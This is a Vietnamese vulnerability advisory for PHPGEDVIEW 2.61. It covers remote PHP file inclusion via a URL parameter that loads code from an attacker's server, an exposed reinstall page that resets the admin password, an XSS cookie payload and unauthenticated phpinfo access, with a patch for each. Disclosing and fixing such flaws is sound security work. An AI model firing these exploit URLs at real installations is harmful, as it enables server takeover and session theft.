PHPGEDVIEW 2.61 Multi-Problem

trang này đã được đọc lần


PHPGEDVIEW là chương trình dùng để đọc các project GEDCOM file dưới dạng html . Chương trình có khá nhiều lỗi .

1) Php code injection :


Mức độ nguy hiểm : Rất cao
- Lỗi này nằm trong các file : functions.php, authentication_index.php ,config_gedcom.php

Trong file authentication_index.php : tại dòng 33 :

require $PGV_BASE_DIRECTORY."authenticate.php";

trong functions.php tại dòng 35 :

require($PGV_BASE_DIRECTORY."functions_print.php");

trong config_gedcom.php tại dòng 115 :

if (file_exists($PGV_BASE_DIRECTORY.$THEME_DIR."theme.php")) require($PGV_BASE_DIRECTORY.$THEME_DIR."theme.php");
else {
$THEME_DIR = $PGV_BASE_DIRECTORY."themes/standard/";
require($THEME_DIR."theme.php");


Khai thác :

http://target/phpgedview_folder/authentication_index.php?PGV_BASE_DIRECTORY=link2yourfile/
http://target/phpgedview_folder/functions.php?PGV_BASE_DIRECTORY=link2yourfile/
http://target/phpgedview_folder/config_gedcom.php?PGV_BASE_DIRECTORY=link2yourfile/

Trong đó link2yourfile là server của bạn trong đó có đặt file authenticate.php (hoặc functions_print.php, hoặc theme.php nằm trong thư mục /themes/standard/ ) chứa code mà bạn muốn inject vào :) có thể là một con review :)

Giải pháp : thêm vào đầu mỗi file bị lỗi :
Require (config.php);

2) Config again :
Mức độ nguy hiểm: Trung bình
File editconfig.php nếu không được xóa sau khi install dễ dàng có thể install lại mà không cần một giới hạn nào, bạn có thể cài lại password cho admin …

Link : http://target/phpgedview_folder/editconfig.php
Giải pháp : xóa editconfig.php

3) XSS :
Mức độ nguy hiểm : trung bình
Lỗi tại đây :
http://localhost/phpgedview/search.php?action=soundex&firstname="><script>alert(document.cookie)</script>

giải pháp :

tìm :
<input type="text" name="firstname" value="<?php if ($action=="soundex") print $firstname; size="20" ?>" /></td></tr>
<tr><td><?php print $pgv_lang["lastname_search"]?></td><td>
<input type="text" name="lastname" value="<?php if ($action=="soundex") print $lastname; size="20" ?>" /></td></tr>
<tr><td><?php print $pgv_lang["search_place"]?></td><td>
<input type="text" name="place" value="<?php if ($action=="soundex") print $place; size="20" ?>" /></td></tr>
<tr><td><?php print $pgv_lang["search_year"]?></td><td>
<input type="text" name="year" value="<?php if ($action=="soundex") print $year; size="20" ?>" /></td></tr>

Sửa thành :

<input type="text" name="firstname" value="" /></td></tr>
<tr><td><?php print $pgv_lang["lastname_search"]?></td><td>
<input type="text" name="lastname" value="" /></td></tr>
<tr><td><?php print $pgv_lang["search_place"]?></td><td>
<input type="text" name="place" value="" /></td></tr>
<tr><td><?php print $pgv_lang["search_year"]?></td><td>
<input type="text" name="year" value="" /></td></tr>

4) Xem thông tin server :
Mức độ nguy hiểm : Thấp
Ta có thể xem thông tin server mà không cần quyền gì cả :
Link: http://target/phpgedview_folder/admin.php?action=phpinfo

Giải pháp :
tìm

if (!isset($action)) $action="";
if ($action=="phpinfo") {
phpinfo();
exit;
}

if (!userIsAdmin(getUserName())) {
header("Location: login.php?url=admin.php");
exit;
}

đổi thành :

if (!userIsAdmin(getUserName())) {
header("Location: login.php?url=admin.php");
exit;
}
if (!isset($action)) $action="";
if ($action=="phpinfo") {
phpinfo();
exit;
}